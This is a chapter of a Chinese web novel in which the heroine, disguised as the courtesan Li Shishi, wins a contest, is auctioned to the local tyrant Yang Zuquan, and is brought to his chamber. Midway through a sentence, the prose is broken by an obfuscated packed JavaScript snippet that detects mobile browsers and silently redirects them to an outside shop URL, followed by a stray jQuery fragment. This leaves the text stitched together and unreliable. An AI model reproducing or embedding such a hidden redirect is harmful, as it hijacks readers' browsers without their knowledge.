23. 汾滨城谜案8
作品:《我要这剧情有何用》 这片不算宽敞的场地,此刻聚集着上万人,却出奇地保持着一种庄严的静谧,仿佛连空气都已凝固。
沉寂久久持续,终于,一阵稀疏的掌声如同晨曦初露,悄然打破了这份宁静。
随即,这掌声点起燎原野火,迅速蔓延开来,汇聚成一股不可阻挡的声浪,响彻云霄,经久不息。现场,没有喧嚣叫好,没有狂热呼喝,只有纯粹的敬佩与赞赏。
报幕人并未急于登场,任由台下掌声雷动、台上红梅矗立,如此微妙的场景持续了近半刻钟。
“李师师、李师师!”
渐渐地,观众的狂热情绪找到了新的出口,高呼声如同山呼海啸,响彻闵河河畔。
“李师师、李师师!”
没有抢到外场票的百姓,此刻都聚集在蓝色帷布外。帷布的高度及胸,给无票之人也留了余地。
众人纷纷举起自制小幡,场内场外摇动一片。
台后的李遇,此时也难掩兴奋。四下瞅瞅无人注意她,于是放心地两手攥拳,在胸前轻轻挥动,不由自主地跟着人群低声呼喊:“李师师、李师师!”
她早先盘算,初选的仙人指路起点过高,合计了一圈,能打败神女的,也就只有殉情了。
有道是技艺不够,氛围来凑!
果然!大获成功!
而另一边的老鸨见时机成熟,给候场的报幕人使了个眼色,报幕人随即登台。
“各位贵宾,今年花魁大选所有曲目已表演完毕,鄙人谨代表环燕楼感谢大家的到场支持。下面有请五位姑娘重返舞台。”
五位玉人应声款款而至。
方才回落的欢呼又起。
“李师师、李师师!”
报幕人多次抬手示意,都不能停。
直至盏茶之后,狂热才又渐渐平息。
报幕人赶忙抓紧了这难得的间隙:
“今年,我们的大选别具一格,投票方式也有所不同。稍后,将有小厮手持木箱,箱上镌刻有五位姑娘的芳名。请各位贵宾根据心中所爱,将您的选票投入相应的箱中。
那么——乐起!”
喜人的调子铃铃琅琅奏响。
四队身着各异、训练有素的小厮从舞台两侧鱼贯而出。
去往两侧包间的小厮穿着最为考究,手中的木箱也最精致。
写有“李师师”的木箱,四队中都是装满又换、换完又装。
而那些没有选票的观众,也不甘落后。他们用尽全身力气,高声呼喊着:
“师师姑娘!选师师姑娘!”
“李师师!花魁李师师!”
人群躁动起来,护卫勉强维持着秩序。
两曲奏完,票选结束。
待得泱泱人群重新静下,报幕人才伺时扬声道:“下面由鄙人宣布此次花魁大选结果。不过,想必在下不说,诸位心中也早有答案。”
静。
“汾滨城花魁——
李师师!”
轰——
场内上万人同时呐喊,震耳到根本听不清楚任何人的话语。
空旷的郊外,山呼海啸甚至已盖住回声。
李遇前迈一步,微微欠身,姿态中透露出一种超凡脱俗的淡然,仿佛这花魁之名对她而言,不过是世间繁华中的一抹淡影。
四周,各式各样的欢呼声此起彼伏,最终汇聚成一股洪流,整齐划一地响彻云霄:
“李师师!”
“李师师!”
“李师师!”
……
李遇面上平静如水,内心早已波涛汹涌。她暗暗抠紧手心,努力维持着清冷高雅的形象,不让丝毫暗爽之情泄露出来。
老鸨在台下捡金子似的高兴,脸僵了,揉揉继续笑。
人群何时停下来的呢?
大约就在大部分人嗓子都喊叉劈的时候。
不等指示,报幕人拾起专业,朗声道:“那么接下来,便是诸位期待已久的抽节儿……”
所谓抽节儿,即为通过竞价的方式,竞出花魁首位恩客,借此抬高花魁身价。
台下凡是有一竞之力的客人,皆露出几分“了然于胸”的玩味笑意。
而后方的百姓却又有些失控,好几处侍卫已亮了白刃。
毕竟,此举在平民眼中,无异于一种公开羞辱。
报幕人深知此时绝不能停下,便抓紧道:“请贵客们出价。”
话音方落,
“三万两白银!”
前排雅座中,一位手持折扇的男子率先报出,引得众人侧目。
人群静了下来,不单是因为首价即如此惊人,更是关心花魁今夜的命运。
尤其是那些汾滨城的百姓,大家心里都清楚,往年……
“三万两黄金!”
满场哗然。
天价,绝对的天价。
这一声几乎是扼断了绝大部分竞价人的心思。
老鸨的眼神中闪过一丝了然,迅速向报幕人使了个眼色,后者立刻会意。
“恭喜‘雅’字间的贵人,以五万两黄金,一举夺得李师师姑娘的首夜之恩!”
此举完全不同于过往竞价:没有空档周期,没有预先示意,直接一锤定音。
想来,“雅”字间的,定是杨祖全了。
李遇心道那老鸨果然够聪明。
五万两黄金已然接近封顶,再抬也多不了多少,还极有可能得罪杨祖全。
若是让外城人竞得,就更加糟糕。外人再有权势终究不踞汾滨。而环燕楼,却始终盘在杨祖全的势力阴影之下。
如此真是——
李遇敛着眸,嘴角扬起一抹不易察觉的笑
——妙极。
“雅”字间内,杨祖全眼神吐着信子,右手有一下没一下地掐着大腿,纱幔析出的月光都阴恶几分。
这么有意思的女人他也是从未见过,从初选之时他便志在必得,如今才弄到手……呵,倒是多了点游戏的乐趣。
此女真是——
杨祖全病态地长送一口气
——妙极。
这个结果在多数人的意料之内,百姓们心堵,终归没有人敢说什么,只好悄然凭叹。
可怜啊!
李遇上前一步,盈盈一拜。
众人目光齐聚,河畔须臾仅闻流水。
“奴家李师师,承蒙诸位错爱,特此一谢。”
此声确如梅梢雪。
台下怜惜更盛。
“然,奴家一于社稷无功,二于民生无益,蒙此厚爱,愧不敢当。”
夹住,李遇,夹住。
“奴家愿献今日所获之全数,于城中四隅广设粥棚,以酬青眼!”
若说方才是躁动,此话一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13963593|145301||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出后,四处都有点要乱的意思。
老鸨本是乐见其成,李师师确有分成,她损己利,环燕楼赚名声,何乐而不为呢?
可若是场子内暴动起来……
老鸨回头,只见李师师已迅速退场。
是个有眼色的。
报幕人匆匆宣布选会结束,小厮们跑着撕开围布,侍卫驱赶人群散场。
而前排客人,早已由专人引着,原路返回。
大秦史上最为轰动的一场花魁选会,就如此草草谢幕了。
李遇下得台后,即刻就有小厮来请。
她没多问,默默跟着,上了一乘小轿。
小轿华贵无匹,轿内四壁皆绘大漆螺钿。
上轿时她略略扫过一眼,顶子与门框,密密嵌满各色金饰。
四角金铃一路脆响,在这墨夜无人的街上,红帘轻摆,幽香缭绕,洇出几分诡异。
约莫两刻钟,有大门沉重开启之声。
轿子竟没落在轿厅,仍继续向内晃去。
李遇默着数,算着距离。
拐过照壁,又行五十丈,四名壮硕轿夫抖着腿将那一人小轿小心放下。
不是因为重,实在是这玩意贵呀!
几人面上滴汗,却也不敢擦拭,整整齐齐垂首于两侧,恭敬侍立。
正当李遇倾身,准备掀帘之时,帘子却被一只粗粝短手先行从外挑开,她随即一愣。
入目一张厚粉白脸,粗眉红腮,嘴旁点一颗浓痣。
如此脸谱化的人物,想必是——
媒婆?!
媒婆满脸堆笑,躬身伸手,将李遇扶出轿外。
她口中三颗醒目金牙闪烁,将路都照亮几分。
几步之遥,一扇房门静静伫立。
黑洞洞的雕花漏出摆荡烛光,摇得花影在地上一颤一颤。
媒婆蓦地尖声:“李姑娘到了——!”
差点唬得李遇一跳。
喊过,那三颗金牙转向李遇,不大的眼睛被红腮与黑眉挤在中间,仍闪出几寸精光。
“李姑娘,请。”这声音腻腻的,像猪油拌上她脸上的粉,直往耳朵里糊。
就着媒婆的扶,二人来到门前。
未及抬手,便听得里面先递出一声
“进”。
主子瞧不见,媒婆仍是殷切诺过两下,才将两扇房门推开。
待李遇信步入内,也没讨赏,迅速合上门,招呼上轿夫,扭腰垫脚地离去了。
屋内昏幽。
李遇怯怯盯着鞋面,贴着门槛没出声。
半晌,只闻烛火噼啪。
似是鼓足勇气般,她保持着垂首,偷偷掀起眼皮打量。
四周繁复奢靡至极:一间通堂大间儿,只消一打眼,珍宝古玩便成堆地往眼睛里钻。
东向摆放一张降香黄檀桌,桌前端坐一人——
杨祖全。
此人竟与李遇想象的大腹便便相去甚远,而是一副油头粉面的模样。
床边的一对红烛摇曳,映照出他身着的华丽喜袍。
反观李遇,还是那身选会上的素白纱裙。
她花了好大一番力气,才压下胃里倒起的阵阵翻涌。勉力夹起嗓音,故作娇羞地盈盈一礼,嗫嚅道:
“奴家李师师,见过公子。”
——你祖宗来给你报丧了。